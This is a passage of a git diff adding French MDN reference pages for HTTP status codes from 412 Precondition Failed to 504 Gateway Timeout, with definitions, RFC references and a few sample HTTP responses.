+<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">412 Precondition Failed</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "412")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("304")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("428")}}</li> +</ul> diff --git a/files/fr/web/http/status/413/index.html b/files/fr/web/http/status/413/index.html new file mode 100644 index 0000000000..4576e41da5 --- /dev/null +++ b/files/fr/web/http/status/413/index.html @@ -0,0 +1,39 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/413 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse <code><strong>413 Payload Too Large</strong></code> indique que la taille de l'entité fournie par la requête est supérieure aux limites définies par le serveur. Le serveur peut alors choisir de fermer la connexion ou de renvoyer un en-tête {{HTTPHeader("Retry-After")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">413 Payload Too Large</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/fr/web/http/status/414/index.html b/files/fr/web/http/status/414/index.html new file mode 100644 index 0000000000..b8963027ef --- /dev/null +++ b/files/fr/web/http/status/414/index.html @@ -0,0 +1,46 @@ +--- +title: 414 URI Too Long +slug: Web/HTTP/Status/414 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/414 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>414 URI Too Long</strong></code> indique que l'URI demandé par le client est plus longue que ce que le serveur est disposé à interpréter.</p> + +<p>Il existe quelques rares cas de figure pour lesquels cela peut se produire :</p> + +<ul> + <li>un client a mal converti une requête {{HTTPMethod("POST")}} vers une requête {{HTTPMethod("GET")}} qui contient de nombreuses informations,</li> + <li>un client est descendu dans une boucle de redirection (par exemple, un URI de redirection qui pointe vers un suffixe de lui-même),</li> + <li>un serveur est sous le coup d'une attaque par un client qui tente d'exploiter des failles de sécurité potentielles.</li> +</ul> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">414 URI Too Long</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{Glossary("URI")}}</li> +</ul> diff --git a/files/fr/web/http/status/415/index.html b/files/fr/web/http/status/415/index.html new file mode 100644 index 0000000000..9c4f8ce71f --- /dev/null +++ b/files/fr/web/http/status/415/index.html @@ -0,0 +1,42 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/415 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>415 Unsupported Media Type</strong></code> indique que le serveur refuse la requête car le format de la charge utile (<em>payload</em>) n'est pas pris en charge.</p> + +<p>Le problème de format peut être causé par les valeurs des en-têtes {{HTTPHeader("Content-Type")}} ou {{HTTPHeader("Content-Encoding")}} dans la requête ou, plus directement, à cause de l'inspection des données.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">415 Unsupported Media Type</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/fr/web/http/status/416/index.html b/files/fr/web/http/status/416/index.html new file mode 100644 index 0000000000..63773720c4 --- /dev/null +++ b/files/fr/web/http/status/416/index.html @@ -0,0 +1,50 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/416 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>416</strong></code><strong><code> Range Not Satisfiable</code></strong> indique que le serveur ne peut pas servir les plages demandées. L'explication la plus probable est que le document ne contient pas de telles plages, ou que la valeur de l'en-tête {{HTTPHeader("Range")}} n'a aucun sens bien que sa syntaxe soit correcte.</p> + +<p>Le message de réponse <code>416</code> contient un en-tête {{HTTPHeader("Content-Range")}} qui indique une plage qui n'est pas satisfaite (représentée par <code>'*'</code>) suivie par <code>'/'</code> puis la ressource courante (par exemple <code>Content-Range: */12777</code>).</p> + +<p>Lorsqu'ils rencontrent cette erreur, les navigateurs abandonnent généralement l'opération en cours (un téléchargement ne pourra pas être repris par exemple) ou ils redemandent le document dans son intégralité.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">416 Range Not Satisfiable</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "416")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(206)}} <code>Partial Content</code></li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/fr/web/http/status/417/index.html b/files/fr/web/http/status/417/index.html new file mode 100644 index 0000000000..5137bd7113 --- /dev/null +++ b/files/fr/web/http/status/417/index.html @@ -0,0 +1,41 @@ +--- +title: 417 Expectation Failed +slug: Web/HTTP/Status/417 +tags: + - Client error + - Code de statut + - HTTP + - HTTP Status Code + - Reference +translation_of: Web/HTTP/Status/417 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <strong><code>417 Expectation Failed</code></strong> indique que les attentes indiquées par l'en-tête {{HTTPHeader ("Expect")}} n'ont pu être satisfaites.</p> + +<p>Voir la page sur l'en-tête {{HTTPHeader("Expect")}} pour plus de détails.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">417 Expectation Failed</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> +</ul> diff --git a/files/fr/web/http/status/418/index.html b/files/fr/web/http/status/418/index.html new file mode 100644 index 0000000000..b0587a99fe --- /dev/null +++ b/files/fr/web/http/status/418/index.html @@ -0,0 +1,41 @@ +--- +title: 418 I'm a teapot (je suis une théière) +slug: Web/HTTP/Status/418 +tags: + - HTTP +translation_of: Web/HTTP/Status/418 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le statut erreur client HTTP <code>418 I'm a teapot</code> qui signifie "Je suis une théière" informe que le serveur refuse de préparer du café, car il s'agit d'une théière. Cette erreur est une référence au protocole Hyper Text Coffee Pot Control Protocol qui est le poisson d'avril des RFCs en 1998.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">418 I'm a teapot</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="https://fr.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol sur Wikipédia</a></li> +</ul> diff --git a/files/fr/web/http/status/422/index.html b/files/fr/web/http/status/422/index.html new file mode 100644 index 0000000000..5aabeae4e4 --- /dev/null +++ b/files/fr/web/http/status/422/index.html @@ -0,0 +1,40 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +tags: + - Code HTTP + - Code de statut + - Code de statut HTTP + - Erreur + - HTTP + - Reference +translation_of: Web/HTTP/Status/422 +--- +<p>{{HTTPSidebar}}</p> + +<p>Le code de statut de réponse HTTP <code><strong>422 Unprocessable Entity</strong></code> indique que le serveur a compris le type de contenu de la requête et que la syntaxe de la requête est correcte mais que le serveur n'a pas été en mesure de réaliser les instructions demandées.</p> + +<div class="warning"> +<p><strong>Important </strong>: Le client ne doit pas renvoyer cette requête sans modification.</p> +</div> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">422 Unprocessable Entity</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre (en Anglais)</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/425/index.html b/files/fr/web/http/status/425/index.html new file mode 100644 index 0000000000..820ce3c8d5 --- /dev/null +++ b/files/fr/web/http/status/425/index.html @@ -0,0 +1,39 @@ +--- +title: 425 Too Early +slug: Web/HTTP/Status/425 +tags: + - Code de statut + - Erreur client + - HTTP +translation_of: Web/HTTP/Status/425 +--- +<p>{{SeeCompatTable}}{{HTTPSidebar}}</p> + +<p>Le code de réponse d’erreur HyperText Transfer Protocol (HTTP) <code><strong>425 Too Early</strong></code> signifie que le serveur refuse la requête qui a été récemment répétée par exemple de peur d’une attaque DDoS </p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">425 Too Early</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("8470", "425: Early Data", "5.2")}}</td> + <td>Using Early Data in HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.425")}}</p> diff --git a/files/fr/web/http/status/426/index.html b/files/fr/web/http/status/426/index.html new file mode 100644 index 0000000000..5b05f90641 --- /dev/null +++ b/files/fr/web/http/status/426/index.html @@ -0,0 +1,51 @@ +--- +title: 426 Upgrade Required +slug: Web/HTTP/Status/426 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/426 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>426 Upgrade Required</strong></code> indique que le serveur refuse de réaliser la requête en utilisant le protocole actuel mais qu'il sera peut-être disposé à le faire après que le client augmente la version du protocole utilisé.</p> + +<p>Avec cette réponse, le serveur renvoie un en-tête {{HTTPHeader("Upgrade")}} pour indiquer le(s) protocole(s) requis.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">426 Upgrade Required</pre> + +<h2 id="Exemples">Exemples</h2> + +<pre>HTTP/1.1 426 Upgrade Required +Upgrade: HTTP/3.0 +Connection: Upgrade +Content-Length: 53 +Content-Type: text/plain + +This service requires use of the HTTP/3.0 protocol</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li> +</ul> diff --git a/files/fr/web/http/status/428/index.html b/files/fr/web/http/status/428/index.html new file mode 100644 index 0000000000..ba81c952ad --- /dev/null +++ b/files/fr/web/http/status/428/index.html @@ -0,0 +1,44 @@ +--- +title: 428 Precondition Required +slug: Web/HTTP/Status/428 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/428 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>428 Precondition Required</strong></code> indique que le serveur requiert que la requête soit <a href="/fr/docs/Web/HTTP/Conditional_requests">conditionnelle</a>.</p> + +<p>Généralement, cela signifie qu'il <strong>manque</strong> un en-tête de précondition, comme {{HTTPHeader("If-Match")}}.</p> + +<p>Lorsqu'un en-tête de précondition <strong>ne correspond pas</strong> à l'état du serveur, la réponse doit être {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">428 Precondition Required</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Conditional_requests">Les requêtes conditionnelles en HTTP</a></li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus(412)}}</li> +</ul> diff --git a/files/fr/web/http/status/429/index.html b/files/fr/web/http/status/429/index.html new file mode 100644 index 0000000000..d35937fc29 --- /dev/null +++ b/files/fr/web/http/status/429/index.html @@ -0,0 +1,46 @@ +--- +title: 429 Too Many Requests +slug: Web/HTTP/Status/429 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/429 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>429 Too Many Requests</strong></code> indique que l'utilisateur a envoyé trop de requêtes en un temps donné.</p> + +<p>Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">429 Too Many Requests</pre> + +<h2 id="Exemple">Exemple</h2> + +<pre>HTTP/1.1 429 Too Many Requests +Content-Type: text/html +Retry-After: 3600</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/fr/web/http/status/431/index.html b/files/fr/web/http/status/431/index.html new file mode 100644 index 0000000000..a06361f082 --- /dev/null +++ b/files/fr/web/http/status/431/index.html @@ -0,0 +1,40 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/431 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>431 Request Header Fields Too Large</strong></code> indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits.</p> + +<p>Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">431 Request Header Fields Too Large</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{Glossary("En-tête")}}</li> +</ul> diff --git a/files/fr/web/http/status/451/index.html b/files/fr/web/http/status/451/index.html new file mode 100644 index 0000000000..6b0cf96dd7 --- /dev/null +++ b/files/fr/web/http/status/451/index.html @@ -0,0 +1,66 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/451 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong> indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice).</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre> + +<h2 id="Exemple">Exemple</h2> + +<p>Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "<em>Monty Python : La Vie de Brian</em>")}}.</p> + +<p>Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation <code>rel="blocked-by"</code> identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu).</p> + +<pre>HTTP/1.1 451 Unavailable For Legal Reasons +Link: <https://spqr.example.org/legislatione>; rel="blocked-by" +Content-Type: text/html + +<html> +<head><title>Unavailable For Legal Reasons</title></head> +<body> +<h1>Unavailable For Legal Reasons</h1> +<p>This request may not be serviced in the Roman Province +of Judea due to the Lex Julia Majestatis, which disallows +access to resources hosted on servers deemed to be +operated by the People's Front of Judea.</p> +</body> +</html></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "451")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li> + <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (qui a donné son numéro à ce code de statut)</li> +</ul> diff --git a/files/fr/web/http/status/500/index.html b/files/fr/web/http/status/500/index.html new file mode 100644 index 0000000000..7ad278c891 --- /dev/null +++ b/files/fr/web/http/status/500/index.html @@ -0,0 +1,41 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/500 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur <code><strong>500</strong></code><strong><code> Internal Server Error</code></strong> indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête.</p> + +<p>Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">500 Internal Server Error</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>L'information ci-dessous provient du dépôt GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "500")}}</p> diff --git a/files/fr/web/http/status/501/index.html b/files/fr/web/http/status/501/index.html new file mode 100644 index 0000000000..4222d36b84 --- /dev/null +++ b/files/fr/web/http/status/501/index.html @@ -0,0 +1,44 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/501 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code).</p> + +<p>Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web.</p> + +<div class="note"> +<p><strong>Note :</strong> Par défaut, une réponse 501 peut être mise en cache.</p> +</div> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">501 Not Implemented</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "501")}}</p> diff --git a/files/fr/web/http/status/502/index.html b/files/fr/web/http/status/502/index.html new file mode 100644 index 0000000000..9ee59d79e5 --- /dev/null +++ b/files/fr/web/http/status/502/index.html @@ -0,0 +1,45 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - Code de statut + - HTTP + - Server error +translation_of: Web/HTTP/Status/502 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont.</p> + +<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y accéder.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox notranslate">502 Bad Gateway</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data/README.md">https://github.com/mdn/browser-compat-data/README.md</a>.</p> + +<p>{{Compat("http/status", "502")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(504)}}</li> +</ul> diff --git a/files/fr/web/http/status/503/index.html b/files/fr/web/http/status/503/index.html new file mode 100644 index 0000000000..551684ba77 --- /dev/null +++ b/files/fr/web/http/status/503/index.html @@ -0,0 +1,47 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - Code de statut + - Erreur serveur + - HTTP +translation_of: Web/HTTP/Status/503 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> indique que le serveur n'est pas prêt à traiter la requête.</p> + +<p>Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service.</p> + +<p>Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox notranslate">503 Service Unavailable</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "503")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/fr/web/http/status/504/index.html b/files/fr/web/http/status/504/index.html new file mode 100644 index 0000000000..e4d228fc25 --- /dev/null +++ b/files/fr/web/http/status/504/index.html @@ -0,0 +1,46 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Reference +translation_of: Web/HTTP/Status/504 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse HTTP d'erreur serveur <code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> indique que 